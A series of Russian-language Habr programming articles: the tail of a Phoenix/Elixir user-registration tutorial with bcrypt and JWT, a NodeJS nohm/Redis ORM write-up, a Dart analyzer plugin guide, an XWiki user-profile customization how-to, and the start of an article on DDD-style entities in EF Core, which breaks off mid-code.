* добавили проверку пароля, требуя его длины минимум в 5 символов; также будет проверяться массив параметров на предмет идентичности пароля с полем `password_confirmation`
* добавили ограничение уникальности для проверки на наличие уже существующего email
Этими изменениями мы покрыли все требуемые проверки. Однако до записи данных также необходимо заполнить поле `encrypted_password`. Для этого воспользуемся библиотекой хэширования паролей [comeonin](https://github.com/elixircnx/comeonin), добавив её в mix.exs как приложение и зависимость:
```
# mix.exs
defmodule PhoenixTrello.Mixfile do
use Mix.Project
# ...
def application do
[mod: {PhoenixTrello, []},
applications: [
# ...
:comeonin
]
]
end
#...
defp deps do
[
# ...
{:comeonin, "~> 2.0"},
# ...
]
end
end
```
Не забудьте установить библиотеку командой:
```
$ mix deps.get
```
После установки comeonin давайте вернёмся к модели `User` и для генерации `encrypted_password` добавим новый шаг к цепочке **changeset**:
```
# web/models/user.ex
defmodule PhoenixTrello.User do
# ...
def changeset(model, params \\ :empty) do
model
# ... другие проверки и ограничения
|> generate_encrypted_password
end
defp generate_encrypted_password(current_changeset) do
case current_changeset do
%Ecto.Changeset{valid?: true, changes: %{password: password}} ->
put_change(current_changeset, :encrypted_password, Comeonin.Bcrypt.hashpwsalt(password))
_ ->
current_changeset
end
end
end
```
В этом новом методе мы сначала проверяем, корректны ли изменения в наборе и изменился ли пароль. Если да, мы шифруем пароль с помощью comeonin и помещаем результат в поле `encrypted_password` нашего набора, в противном случае возвращаем набор как есть.
### Маршрутизатор
Теперь, когда модель `User` готова, продолжим реализацию процесса регистрации, добавив в файл `router.ex` цепочку `:api` и наш первый маршрут:
```
# web/router.ex
defmodule PhoenixTrello.Router do
use PhoenixTrello.Web, :router
#...
pipeline :api do
plug :accepts, ["json"]
end
scope "/api", PhoenixTrello do
pipe_through :api
scope "/v1" do
post "/registrations", RegistrationController, :create
end
end
#...
end
```
Так, любой запрос `POST` к `/api/v1/registrations` будет обработан обработчиком (action) `:create` контроллера `RegistrationController`, принимающего данные в формате **json**… в целом, всё довольно очевидно :)
### Контроллер
До начала реализации контроллера давайте подумаем, что же нам нужно. Посетитель зайдёт на страницу регистрации, заполнит форму и отправит её. Если данные, полученные контроллером, корректны, нам потребуется добавить нового пользователя в базу данных, ввести его в систему и вернуть во front-end в формате **json** данные о пользователе вместе с токеном аутентификации [jwt](https://en.wikipedia.org/wiki/JSON_Web_Token) в качестве результата входа в систему. Этот токен — то, что потребуется не только для отправки с каждым запросом для аутентификации пользователя, но и для доступа пользователя к защищённым экранам приложения.
Чтобы реализовать аутентификацию и генерацию jwt, воспользуемся библиотекой Guardian, которая очень неплохо справляется с этой задачей. Просто добавьте следующее в mix.exs:
```
# mix.exs
defmodule PhoenixTrello.Mixfile do
use Mix.Project
#...
defp deps do
[
# ...
{:guardian, "~> 0.9.0"},
# ...
]
end
end
```
После запуска `mix deps.get` потребуется внести настройки библиотеки в config.exs:
```
# config/confg.exs
#...
config :guardian, Guardian,
issuer: "PhoenixTrello",
ttl: { 3, :days },
verify_issuer: true,
secret_key: ,
serializer: PhoenixTrello.GuardianSerializer
```
Так же понадобится создать `GuardianSerializer`, который подскажет Guardian, как кодировать и декодировать информацию о пользователе в токен и из токена:
```
# lib/phoenix_trello/guardian_serializer.ex
defmodule PhoenixTrello.GuardianSerializer do
@behaviour Guardian.Serializer
alias PhoenixTrello.{Repo, User}
def for_token(user = %User{}), do: { :ok, "User:#{user.id}" }
def for_token(_), do: { :error, "Unknown resource type" }
def from_token("User:" <> id), do: { :ok, Repo.get(User, String.to_integer(id)) }
def from_token(_), do: { :error, "Unknown resource type" }
end
```
Теперь готово всё, чтобы реализовать `RegistrationController`:
```
# web/controllers/api/v1/registration_controller.ex
defmodule PhoenixTrello.RegistrationController do
use PhoenixTrello.Web, :controller
alias PhoenixTrello.{Repo, User}
plug :scrub_params, "user" when action in [:create]
def create(conn, %{"user" => user_params}) do
changeset = User.changeset(%User{}, user_params)
case Repo.insert(changeset) do
{:ok, user} ->
{:ok, jwt, _full_claims} = Guardian.encode_and_sign(user, :token)
conn
|> put_status(:created)
|> render(PhoenixTrello.SessionView, "show.json", jwt: jwt, user: user)
{:error, changeset} ->
conn
|> put_status(:unprocessable_entity)
|> render(PhoenixTrello.RegistrationView, "error.json", changeset: changeset)
end
end
end
```
Благодаря [механизму сопоставления с шаблоном](http://elixir-lang.org/getting-started/pattern-matching.html) (pattern matching), обработчик `create` ожидает в параметрах ключ `"user"`. С этими параметрами мы создадим набор User и добавим его в базу данных. Если всё будет хорошо, мы воспользуемся **Guardian** для кодирования и подписи (метод `encode_and_sign`) данных нового пользователя, получив токен jwt и преобразуя его вместе с данными о пользователе в **json**. В противном случае, если набор данных некорректен, мы отобразим ошибки в виде **json** так, что сможем показать их пользователю в форме регистрации.
### Сериализация JSON
Phoenix в качестве библиотеки JSON по-умолчанию использует [Poison](https://github.com/devinus/poison). Так как это одна из зависимостей Phoenix, для её установки нам не потребуется делать что-то особенное. Что же действительно нужно сделать — так это обновить модель `User` и указать, какие поля необходимо сериализовать:
```
# web/models/user.ex
defmodule PhoenixTrello.User do
use PhoenixTrello.Web, :model
# ...
@derive {Poison.Encoder, only: [:id, :first_name, :last_name, :email]}
# ...
end
```
С этого момента при конвертации данных о пользователе или списка пользователей в формат **json** в ответ на событие в контроллере или канале (channel), библиотека просто вернёт указанные поля. Проще паренной репы!
Получив back-end, готовый к регистрации новых пользователей, в следующей публикации мы переместимся к front-end, и, чтобы завершить процесс регистрации, запрограммируем несколько прикольных штук на **React** и **Redux**. А тем временем не забудьте взглянуть на [живое демо](https://phoenix-trello.herokuapp.com/) и [исходный код](https://github.com/bigardone/phoenix-trello) конечного результата. | https://habr.com/ru/post/308056/ | null | ru | null |
# NodeJS красивый, модульный, объектный или делаем его таким с помощью redis и nohm
В последнее время в IT-сообществе довольно много шумихи вокруг серверного JavaScript, в частности — NodeJS, однако, как это ни странно, оказалось довольно сложно найти информацию о том, как писать модульный, объектный код. Что я имею ввиду? Дело в том, что с js я знаком совсем недавно, до этого писал небольшие приложения на Java, а в свободное время пишу серверную часть онлайн-игры на PHP и, как и следовало ожидать, как и многим начинающим программистам на JS мне было очень непривычно вместо объектно-ориентированного использовать так называемое прототипно-ориентированное программирование. Тем более, JavaScript вносит достаточно много путаницы даже в это дело со своими Object.prototype и \_\_proto\_\_. Первое, что пришло мне в голову, как и многим другим разработчикам — сделать свою реализацию «привычного ООП», сделал. Немного подумав я решил, что это просто незачем, если мы работаем с nodeJS. За мою, хоть и недолгую практику, мне не довелось встретить задачу, которая бы требовала настоящего ОО подхода, я имею ввиду реальную необходимость наследования, полиморфизма и тем более инкапсуляции (конечно, все это нужно, но в той степени, которую js предоставляет).
Изучив довольно много приложений на nodeJS, я заметил, что почему-то практически нигде не используют паттерн MVC так, как это сейчас принято в большинстве PHP-фреймворков, хотя, эта модель мне кажется очень удобной и затраты на ее создание(как я думал в начале довольно серьезные) принесут свои плоды.
Реальный проект
Передо мной поставили задачу — реализовать сервер приложения «игровые автоматы» на node.js, казлось бы — довольно просто. Мне досталось довольно много кода от человека, который занимался этим раньше. В качестве БД используется Redis. Структура приложения выглядела примерно так:
-root
--application.js
--config.js
--constants.js
--import\_data.js
--slots\_module.js
--user\_activity.js
--social.js
--node\_modules/
---тут лежат модули для node.js
Довольно привычная для ноды структура, не так ли? :=)
Но с ростом требований к приложению, и количества всевозможного функционала, как и следовало ожидать его это приложение стало очень трудно поддерживать. Application и config разрослись на 5000 строк каждый, стало много дублирования кода и прочие прелести, стало практически невозможно определить где что находиться, не воспользовавшись поиском по проекту.
И вот, наконец, мы подошли к главному. Накипело. Я решил сделать капитальный рефакторинг и реорганизацию приложения. Первом делом, я вспомнил о том, что есть такая штука, как Object Relational Mapping(ORM) и к моему удивлению я нашел довольно неплохую реализацию ORM для NodeJS и Redis. Это послужило прекрасным толчком к использованию привычной мне архитектуры. Модуль nohm позволяет довольно просто описать модели, их свойства и методы, что позволяет сократить код, сделать его более структурированным и красивым. Вот простой пример того, описания и использование модели пользователя (User.js)
```
/**
* User: hlogeon
* Date: 31.07.13
* Time: 23:36
* TODO: continue creating this
* read http://maritz.github.io/nohm/
*/
var nohm = require('nohm').Nohm;
var redis = require('redis').createClient();
nohm.setClient(redis);
nohm.model('User', {
properties: {
balance: {
type: "integer",
defaultValue: 0,
index: false
},
ad_id: {
type: "string",
index: true
},
bonus_games_pending: {
type: "boolean",
index: false
},
chips: {
type: "integer",
defaultValue: 0
},
source: {
type: "string"
},
spins_count: {
type: "integer",
defaultValue: 0
},
mute: {
type: "boolean",
defaultValue: false
},
sound: {
type: "boolean",
defaultValue: false
},
charges_base: {
type: "boolean",
defaultValue: false
},
parent_ref: {
type: "string",
index: true
},
sid: {
type: "string",
index: true
},
bonus_to: {
type: "integer",
defaultValue: 0
},
points_count: {
type: "integer"
},
parent_id:{
type: "string",
index: true
},
invitation_accepted: {
type: "string"
},
ref_type: {
type: "string",
index: true
},
spins_temporary: {
type: "integer"
},
enter_date: {
type: "integer"
},
free_spins: {
type: "integer"
},
screen: {
type: "string"
},
last_game: {
type: "string"
},
startOffer: {
type: "boolean",
index: true
},
last_activity: {
type: "integer"
},
win_turn: {
type: "integer"
},
double_game_pending: {
type: "integer"
},
level: {
type: "integer",
index: true
},
last_spin: {
type: "integer"
},
uid: {
type: "string",
index: true
},
status: {
type: "string"
},
bonus_games_temporary: {
type: "integer",
defaultValue: 0
},
browser: {
type: "string"
},
builded: {
type: string,
}
},
methods: {
getContryFlag: function () {
return 'http://example.com/flag_'+this.p('country')+'.png';
},
updateBalance: function (value){
var balance = this.p('balance');
this.p('balance', balance+value);
this.save();
},
updateChips: function(value){
var chips = this.p("chips");
this.p("chips", chips+value);
this.save();
},
incrSpins: function(){
var spins = this.p('spins_count');
this.p('spins_count', spins+1);
this.save();
},
swichMute: function(){
var mute = this.p('mute');
this.p('mute', !mute);
this.save();
},
swichSound: function(){
var sound = this.p('sound');
this.p('sound', !sound);
this.save();
},
setPointsCount: function (value){
this.p('points_count', value);
this.save();
return value;
},
incrPointsCount: function(){
var count = this.p('points_count');
this.p('points_count', count+1);
this.save();
},
incrSpinsTmp: function(){
var tmp = this.p('spins_temporary');
this.p('spins_temporary', tmp+1);
this.save();
},
incrFreeSpins: function(){
var spins = this.p('free_spins');
this.p('free_spins', spins+1);
this.save();
},
incrLevel: function(){
var level = this.p('level');
this.p('level', level+1);
this.save();
return this.p('level');
}
}
});
var user = nohm.factory('User');
exports.user = user;
```
Пример использования:
```
var user = require('./UserTest').user;
app.get('/', function (req, res) {
//Давайте создадим пустого пользователя и сохраним его
var activeUser = nohm.factory('User');
activeUser.save(function(errs){
if(errs){
//Если произошли ошибки, выведем их в браузер
res.json(errs);
}
else{
//Если все хорошо, посмотрим на стандартные значения всех свойств свежесохраненного пользователя
res.json(activeUser.allProperties());
}
});
//Попробуем найти кого-нибудь?
app.get('/findUser', function (req, res) {
var id = req.body.id;
//Загружаем
user.load(id, function(err, aUser){
if(err){
//Если произошла ошибка, выведем ее!
res.json(err);
}
else{
//Если все нормально, давайте вызовем какой-нибудь метод, а потом все свойства пользователя!
console.log(aUser.getCountryFlag());
res.json(aUser.allProperties);
}
})
});
```
Согласитесь, это куда проще постоянных redis.hgetall() тем более, что теперь мы можем определить методы пользователя в модели и даже Связи(Relations).
Благодаря такому подходу я разбил приложение на модули и новая структура выглядит так:
-root
--application.js
--constants.js
--config.js
--models/
---User.js
---Slotmachine.js
---Event.js
--helpers/
---Social.js
--node\_modules/
Хоть файлов стало и немного больше, зато, поддержка кода существенно упростилось, число строчек существенно снизилось, а читаемость возросла просто невероятно! Теперь мне не приходится распутывать лапшу из callback-функций 10 уровня вложенности. Все прозрачно, просто и понятно.
Надеюсь, кому-то будет полезна эта маленькая статейка от новичка в nodejs. Я буду очень благодарен за критику! | https://habr.com/ru/post/188630/ | null | ru | null |
# Как создать кастомный плагин для Dart-анализатора
Привет! Меня зовут Дима, я frontend-разработчик в компании Wrike. В этой статье я расскажу про то, как написать плагин для анализа кода на Dart. Текст будет полезен тем, кому не хватает текущей функциональности дартового анализатора по статическому анализу или если вам просто захочется попробовать написать простой анализатор самостоятельно.
Согласно документации, плагин — это код, который коммуницирует с analysis-сервером и дополнительно анализирует код. Он запускается в той же самой VM, что и сервер, но в отдельном изоляте. Интеграция с существующими IDE лежит полностью на стороне сервера, что позволяет не думать об этом при разработке плагина.
Сервер предоставляет данные, которые с помощью драйвера анализатора (отвечает за сбор информации об анализируемых файлах) преобразуются в AST. Плагину предоставляется AST, с которым можно работать: дополнительно подсвечивать ошибки в коде или собирать статистику.
Возможности плагина и пошаговая схема создания
----------------------------------------------
С помощью плагина можно показывать ошибки и способы их исправления, делать подсветку синтаксиса, навигацию и автодополнение. Например, при выделении блока кода можно добавить assist, который обернет этот блок во что-то или отформатирует его.
Подробно возможности плагина описаны [в спецификации](https://htmlpreview.github.io/?https://github.com/dart-lang/sdk/blob/master/pkg/analyzer_plugin/doc/api.html).
Краткая пошаговая схема создания плагина выглядит так:
1. Создаете пакет с зависимостями на анализатор и плагин.
2. Создаете класс, который унаследован от ServerPlugin.
3. Имплементируете базовые геттеры и метод на инициализацию от сервера.
4. Добавляете функцию «стартер».
5. Создаете отдельный подпакет, который расположен в tools/analyzerplugin/.
6. Для использования плагина в клиенте указываете зависимость на пакет.
7. Добавляете название плагина в analysis\_options, в блок плагинов.
Реализация плагина
------------------
Простой плагин выглядит примерно так:
```
class CustomPlugin extends ServerPlugin {
CustomPlugin(ResourceProvider provider): super(provider);
@override
List get fileGlobsToAnalyze => const ['\*.dart'];
@override
String get name => 'My custom plugin';
@override
String get version => '1.0.0';
@override
AnalysisDriverGeneric createAnalysisDriver(ContextRoot contextRoot) {
// implementation
}
}
```
Три геттера — название плагина, используемая версия API сервера (должна совпадать с одной из существующих версий, например, 1.0.0-alpha.0), с которым работает плагин, и паттерн на то, какие файлы анализировать.
В методе инициализации нужно создать дартовый драйвер:
```
@override
AnalysisDriverGeneric createAnalysisDriver(plugin.ContextRoot contextRoot) {
final root = ContextRoot(contextRoot.root, contextRoot.exclude,
pathContext: resourceProvider.pathContext)
..optionsFilePath = contextRoot.optionsFile;
final contextBuilder = ContextBuilder(resourceProvider, sdkManager, null)
..analysisDriverScheduler = analysisDriverScheduler
..byteStore = byteStore
..performanceLog = performanceLog
..fileContentOverlay = fileContentOverlay;
final dartDriver = contextBuilder.buildDriver(root);
dartDriver.results.listen((analysisResult) {
_processResult(dartDriver, analysisResult);
});
return dartDriver;
}
```
Только этот драйвер идет в пакете с анализатором по умолчанию. Но API позволяет создать драйвер для любого языка. Единственный минус — для этого потребуется достаточно усилий: инициализация драйвера и других классов, конфигурация и так далее.
При создании драйвера необходимо подписаться на результат обработки файлов. Для каждого файла драйвер будет пушить событие о результате.
Структура результата выглядит так:
```
abstract class ResolveResult implements AnalysisResultWithErrors {
/// The content of the file that was scanned, parsed and resolved.
String get content;
/// The element representing the library containing the compilation [unit].
LibraryElement get libraryElement;
/// The type provider used when resolving the compilation [unit].
TypeProvider get typeProvider;
/// The type system used when resolving the compilation [unit].
TypeSystem get typeSystem;
/// The fully resolved compilation unit for the [content].
CompilationUnit get unit;
}
```
По моему опыту, для анализа кода полезен Compilation unit. С ним удобно работать, потому что он содержит AST-дерево дартового файла. Еще в этом фрагменте кода есть другая информация про библиотеки, систему типов и так далее.
Для обхода дерева используется набор готовых [визиторов](https://en.wikipedia.org/wiki/Visitor_pattern):
* RecursiveAstVisitor
* GeneralizingAstVisitor
* SimpleAstVisitor
* ThrowingAstVisitor
* TimedAstVisitor
* UnifyingAstVisitor
RecursiveAstVisitor рекурсивно обходит все узлы AST. Например, при обходе узла [Block], визитор пройдет и все дочерние узлы.
GeneralizingAstVisitor рекурсивно обходит все узлы AST (аналогично RecursiveAstVisitor), но для всех узлов будут вызваны не только методы для обхода данного типа узла, но и для обхода базового класса для этого типа.
SimpleAstVisitor не делает ничего при обходе узлов AST. Подходит для случаев, когда не требуется рекурсивный обход.
ThrowingAstVisitor выбрасывает исключение при обходе узла AST, метод обхода которого не был переопределен в наследнике.
TimedAstVisitor позволяет замерять время обхода AST.
UnifyingAstVisitor рекурсивно обходит все узлы AST (аналогично RecursiveAstVisitor), но для всех узлов дополнительно вызывает общий метод visitNode.
Простая имплементация рекурсивного визитора может выглядеть так:
```
String checkCompilationUnit(CompilationUnit unit) {
final visitor = _Visitor();
unit.visitChildren(visitor);
return visitor.result;
}
class _Visitor extends RecursiveAstVisitor {
String result = ‘’;
@override
void visitMethodInvocation(MethodInvocation node) {
super.visitMethodInvocation(node);
// implementation
}
}
```
Для обхода юнита нужно вызвать метод visitChildren. Если визитор переопределяет какой-либо метод обхода узла AST, то мы попадем в этот метод при передаче визитора в visitChildren. И дальше можно выполнять любые манипуляции с кодом.
Для обнаружения и инициализации плагина необходимо реализовать функцию Starter и вызвать ее в специальной директории — tools/analyzerplugin/bin/plugin.dart.
```
void start(Iterable \_, SendPort sendPort) {
ServerPluginStarter(CustomPlugin(PhysicalResourceProvider.INSTANCE))
.start(sendPort);
```
Это может быть отдельный пакет или подпакет, но такое расположение строго прописано в документации: это именно то место, где должен находиться инициализатор плагина.
Плагин легко конфигурировать: драйвер предоставляет доступ ко всему контенту analysis\_options.yaml. Контент можно парсить и забирать из него нужные данные. Оптимальный способ — парсить файл с конфигурацией при создании драйвера.
Пример того, как мы конфигурируем плагин в своем проекте [Dart code metrics](https://github.com/wrike/dart-code-metrics):
```
dart_code_metrics:
anti-patterns:
- long-method
- long-parameter-list
metrics:
cyclomatic-complexity: 20
number-of-arguments: 4
metrics-exclude:
- test/**
rules:
- binary-expression-operand-order
- double-literal-format
- newline-before-return
- no-boolean-literal-compare
- no-equal-then-else
- prefer-conditional-expressions
- prefer-trailing-comma-for-collection
```
Мы используем листы и скалярные значения yaml.
Тестирование
------------
При тестировании покрыть взаимодействие между сервером и плагином сложно, но остальной код отлично покрывается юнитами. Для тестирования можно использовать знакомые пакеты (test, mokito) и дополнительные функции, которые позволяют преобразовать строки или контент файла в AST.
```
const _content = '''
Object function(Object param) {
return null;
}
''';
void main() {
test('should return correct result', () {
final sourceUrl = Uri.parse('/example.dart');
final parseResult = parseString(
content: _content,
featureSet: FeatureSet.fromEnableFlags([]),
throwIfDiagnostics: false);
final result = checkCompilationUnit(parseResult.unit);
expect(
result,
isNotEmpty,
);
});
}
```
Дебаг
-----
С дебагом все непросто. Есть три способа.
**Первый — использовать логи.** Да, возможно, это не самый эффективный способ, но они действительно помогают. При работе над нашим проектом был случай, когда именно логи помогли понять, почему уже открытые файлы не обрабатывались плагином при редактировании.
Логи очень «шумные», там генерируется много всего. Но они могут помочь отловить некоторые ошибки.
**Второй способ — посмотреть диагностику.** Ее можно открыть с помощью команды Dart: Open Analyzer Diagnostics.
Можно посмотреть информацию по серверу, подключенные плагины и ошибки**Третий способ — использовать Observatory и датовую VM.** Но в этой статье я не буду подробно его рассматривать, потому что есть [плагин для дартового биндинга](https://github.com/Workiva/over_react/tree/master/tools/analyzer_plugin) к реакту. В его документации подробно и понятно описано, как дебажить Observatory.
Проблемы, с которыми можно столкнуться
--------------------------------------
Основная проблема при создании плагина — отсутствие примеров. Поэтому очень сложно разобраться, что идет не так, и найти быстрое решение. А еще достаточно сложно работать с документацией, потому что в основном она представляет собой комментарии в коде.
Нигде явно не указано, что есть возможность не только анализировать код на Dart, но и имплементировать драйвера под другие языки и пробовать их анализировать. Так, есть пример с анализом HTML для DartAngular-плагина.
Полезные ссылки
---------------
[Документация](https://github.com/dart-lang/sdk/tree/master/pkg/analyzer_plugin/doc/tutorial)
[Dart code metrics](https://github.com/wrike/dart-code-metrics) — это наш опенсорсный проект по статическому анализу дартового кода. Может быть интересен тем, кто хочет попробовать себя в написании статического анализа или просто познакомиться поближе с плагинами. Представляет собой набор дополнительных правил для анализатора, а также позволяет собирать метрики по коду.
[Built value](https://github.com/google/built_value.dart/tree/master/built_value_analyzer_plugin) — пример плагина, в котором используется дартовый драйвер.
[DartAngular plugin](https://github.com/dart-lang/angular/tree/5.3.1/angular_analyzer_plugin) — плагин, в котором есть пример с анализом HTML.
[Over react](https://github.com/Workiva/over_react/tree/master/tools/analyzer_plugin) — плагин для дартового биндинга к реакту, в котором есть полезные примеры дебага. | https://habr.com/ru/post/541672/ | null | ru | null |
# «Предъявите паспорт» или добавляем поля «должность» и «цветовая схема» в профиль пользователя XWiki
[В прошлой статье про XWiki](https://habr.com/ru/post/551772/) я обещал не затягивать с публикацией новых материалов, но оказалось, что "не затягивать" это понятие растяжимое (*простите за каламбур, не удержался*). И перерыв вышел долгим.
В этот раз мы рванем сразу с места в карьер и попробуем расширить профиль пользователя в Xwiki.
Если быть точным, то сегодня мы добавим новое поле в профиль, включим возможность каждому пользователю устанавливать собственную тему, а также напишем небольшой скрипт, который выведет нам список сотрудников подразделения.
Как и в моей [первой статье цикла про Xwiki](https://habr.com/ru/post/541184/) мы будем использовать Docker образ с LTS версией Xwiki (на момент публикации 12.10.8), а также установим Demo Flavor.
**Оглавление:**
* [Введение](#s1)
* [Добавляем поле "Position"](#s2)
* [Делаем перевод для поля "Position"](#s3)
* [Добавляем возможность назначить тему пользователю](#s4)
* П[ишем скрипт вывода пользователей с указанием их Position и colorTheme](#s5)
Добавляем поле "Position"
-------------------------
XWiki под капотом имеет множество настроек, благодаря, которым мы можем прокачать нашу вики почти как в популярном шоу с участием Xzibit.
Правда некоторые настройки могут быть скрыты от непосвященных глаз, но это легко исправить.
Перво-наперво включите продвинутый режим пользователя (если еще не включили).
Также мы включим отображение скрытых страниц.
***Примечание:*** *Отображение скрытых страниц удобно переключать с помощью "горячих клавиш". Просто кликните на пустое поле страницы и последовательно нажмите клавиши:* ***xxxh***
Настройки будут выглядеть следующим образом:
Экран настроек пользователяПерейдите в раздел "Перечень страниц" и вбейте в поле поиска "*XWikiUsers".*
На самом деле можно просто перейти по ссылке вида:
[<домен с ХВики>/bin/edit/XWiki/XWikiUsers?editor=class](#).
В нашем случае, для докера на локальной машине, скорее всего будет следующий адрес:
<http://localhost:8080/bin/edit/XWiki/XWikiUsers?editor=class>
Если вы открыли страницу через поиск, то перейдите в режим редактирования классов (см. в правой части рисунка), если напрямую по ссылке, то этот шаг можно пропустить.
Добавьте новое поля *"Position" с* типом *"String"*. Не забудьте нажать кнопку **"Добавить"**
Теперь у нас есть поле для хранения информации и осталось, только включить его отображение.
Перейдите на старицу User Profile.
Ссылка для localhost: <http://localhost:8080/bin/view/XWiki/AdminUserProfileSheet>
Добавьте в любой понравившийся раздел `Position:Position`
Сохраняем и видим результат
Ну вот поле с должностью есть, но что если мы захотим сделать его мультиязычным, как все остальные поля профиля?
Делаем перевод для поля "Position"
----------------------------------
На самом деле это совсем не сложно.
Создадим страницу для переводов. В дальнейшем вы сможете использовать её для перевода любых других пар ключ-значение. В моем случае я прямо в корне создал страницу "Переводы"
и записал в текст страницы: `Position=Должность`
Далее в редакторе объектов добавим *TranslationDocumentClass и выберем область действия WIKI*
***Примечание:*** *Подробнее про механизм перевода текстов можно прочитать в* [*официальной документации*](https://www.xwiki.org/xwiki/bin/view/Documentation/DevGuide/Tutorials/InternationalizingApplications/)*.*
Вернемся обратно в XWikiUsers.
(<http://localhost:8080/bin/edit/XWiki/XWikiUsers?editor=class>)
Развернем поле Position и добавим в раздел *"Pretty name"* следующий код:
`{{translation key="Position"/}}`
Сохраняем и наслаждаемся результатом.
Добавляем возможность назначить тему пользователю
-------------------------------------------------
Этот совет я проверял только в XWiki версии 12.X. Необходимо добавить в класс пользователя поле *colorTheme* с типом *String*
Посмотреть названия тем можно в разделе "Глобальное администрирование: Темы".
В профиль пользователя тема добавляется аналогично полю *"Position".* Я выбрал тему FlamingoThemes.Superhero.
Как видно выше, новая тема применялась только к администратору, когда я вошел под пользователем "Иван Иванов" у него отображалась тема из глобальных настроек.
Пишем скрипт вывода пользователей с указанием их Position и colorTheme
----------------------------------------------------------------------
Напоследок, закрепим результат, решив надуманную задачку по автоматизации.
Представим, что мы хотим вывести список всех участников определенной группы с указанием их имени, фамилии, должности и цветовой схемы.
Для этого я создал группу IT и включил в неё трех человек.
Осталось создать новую страницу или отредактировать старую, добавив в неё Velocity макрос следующего содержания:
```
## получить данные о группе IT
#set($allGroupsInUserWiki = $services.user.group.getMembers('xwiki:XWiki.IT', false))
## перебрать в цикле всех пользователей
#foreach($user in $allGroupsInUserWiki)
## получить ссылку на страницу пользователя
#set($userPage = $xwiki.getDocument($user))
## получить объект с данными пользователя со страницы
#set ($user = $userPage.getObject('XWiki.XWikiUsers'))
## вывести необходимые данные на экран
**$user.getValue('first_name') $user.getValue('last_name')** - position: $user.getValue('Position'), ColorTheme: $user.getValue('colorTheme')
#end
```
Вот такой результат должен получиться:
Спасибо, что дочитали до конца.
**P.S.** Я помню, что в прошлой статье обещал разобрать работу со Swagger и Figma, к ним я постараюсь вернуться позже, когда будет больше свободного времени. | https://habr.com/ru/post/573626/ | null | ru | null |
# Сущности в DDD-стиле с Entity Framework Core
Эта статья о том, как применить принципы Domain-Driven Design (DDD) к классам, отображаемым Entity Framework Core (EF Core) на базу данных, и почему это может быть полезно.
### TLDR
В DDD-подходе есть множество преимуществ, но главное – DDD переносит код операций создания / изменения внутрь класса сущности. Это значительно понижает шансы неверного понимания / интерпретации разработчиком правил создания, инициализации и использования экземпляров классов.
1. В книге Эрика Эванса и его выступлениях не так много информации на этот счет:
2. Предоставьте клиенту простую модель для получения постоянных объектов (классов) и управления их жизненным циклом.
3. Ваши классы сущностей должны явно сообщать о том могут ли они быть изменены, как именно и по каким правилам.
4. В DDD существует понятие агрегат. Агрегат – это дерево связанных сущностей. По правилам DDD работа с агрегатами должна осуществляться через «корень агрегации» (корневую сущность дерева).
Эрик в своих выступлениях упоминает репозитории. Я не рекомендую реализовывать репозиторий вместе с EF Core, потому что EF уже реализует паттерны «репозиторий» и «единица работы» сам по себе. Подробнее об этом я рассказываю в отдельно статье «[стоит ли использовать репозиторий вместе с EF Core](https://www.thereformedprogrammer.net/is-the-repository-pattern-useful-with-entity-framework-core/)».
### Сущности в DDD-стиле
Я начну с того, что покажу код сущностей в DDD-стиле и затем сравню их с тем как обычно создают сущности с EF Core (прим. переводчика. автор называет словом «обычно» анемичную модель»). Для примера я буду использовать базу данных интернет-магазина по продаже книг (очень упрощенную версия Амазона». Структура БД показана на изображении ниже.
Первые четыре таблицы представляют все что касается книг: сами книги, их авторы, обзоры. Две таблицы внизу используются в коде бизнес-логике. Эта тема подробно раскрыта в отдельной статье.
> Весь код этой статьи выложен в репозиторий [GenericBizRunner на GitHub](https://github.com/JonPSmith/EfCore.GenericBizRunner). Кроме кода библиотеки GenericBizRunner там есть еще пример ASP.NET Core приложения, использующего GenericBizRunner для работы с бизнес-логикой. Больше об этом написано в статье «[библиотека для работы с бизнес-логикой и Entity Framework Core](https://www.thereformedprogrammer.net/a-library-to-run-your-business-logic-when-using-entity-framework-core/)».
А вот и код сущностей, соответствующий структуре БД.
```
public class Book
{
public const int PromotionalTextLength = 200;
public int BookId { get; private set; }
//… all other properties have a private set
//These are the DDD aggregate propties: Reviews and AuthorLinks
public IEnumerable Reviews => \_reviews?.ToList();
public IEnumerable AuthorsLink => \_authorsLink?.ToList();
//private, parameterless constructor used by EF Core
private Book() { }
//public constructor available to developer to create a new book
public Book(string title, string description, DateTime publishedOn,
string publisher, decimal price, string imageUrl, ICollection authors)
{
//code left out
}
//now the methods to update the book’s properties
public void UpdatePublishedOn(DateTime newDate)…
public IGenericErrorHandler AddPromotion(decimal newPrice, string promotionalText)…
public void RemovePromotion()…
//now the methods to update the book’s aggregates
public void AddReview(int numStars, string comment, string voterName, DbContext context)…
public void RemoveReview(Review review)…
}
```
На что обратить внимание:
1. Строка 5: set-доступ ко всем свойствам сущностей объявлен приватным. Это значит, что данные могут быть изменены либо с помощью конструктора, либо с помощью публичных методов, описанных ниже в этой статье.
2. Строки 9 и 10. Связанные коллекции (те самые агрегаты из DDD) предоставляют публичный доступ к IEnumerable, а не ICollection. Это значит, что вы не сможете добавить или удалить элементы из коллекции напрямую. Вам придется использовать специализированные методы из класса Book.
3. Строка 13. EF Core требует беспараметрический конструктор, но он может иметь приватный доступ. Это значит, что другой прикладной код, не сможет обойти инициализацию и создать экземпляры классов с помощью беспараметрического конструктора (прим. переводчика. Если вы конечно не создаете сущности исключительно с помощью reflection)
4. Строки 16-20: единственный способ, с помощью которого вы сможете создать экземпляр класса Book – использовать публичный конструктор. Этот конструктор содержит всю необходимую информацию для инициализации объекта. Таким образом, объект гарантированно будет находиться в разрешенном (valid) состоянии.
5. Строки 23-25: На этих строчках располагаются методы, позволяющие изменить состояние книги.
6. Строки 28-29: Эти методы позволяют изменить связанные сущности (агрегаты)
Методы на строках 23-39 я буду далее называть «методы, предоставляющие доступ». Эти методы – единственный способ изменить свойства и связи внутри сущности. В сухом остатке класс Book «закрыт». Он создается через специальный конструктор и может быть изменен только частично через специальные методы с подходящими названиями. Такой подход создает резкий контраст со стандартным подходом к созданию / изменению сущностей в EF Core, в котором все сущности содержат пустой конструктор по-умолчанию и все свойства объявлены публичными. Следующий вопрос, почему первый подход лучше?
### Сравнение создание сущности
Сравним код получения данных о нескольких книгах из json и создания на их основе экземпляров классов Book.
### a. Стандартный подход
```
var price = (decimal) (bookInfoJson.saleInfoListPriceAmount ?? DefaultBookPrice)
var book = new Book
{
Title = bookInfoJson.title,
Description = bookInfoJson.description,
PublishedOn = DecodePubishDate(bookInfoJson.publishedDate),
Publisher = bookInfoJson.publisher,
OrgPrice = price,
ActualPrice = price,
ImageUrl = bookInfoJson.imageLinksThumbnail
};
byte i = 0;
book.AuthorsLink = new List();
foreach (var author in bookInfoJson.authors)
{
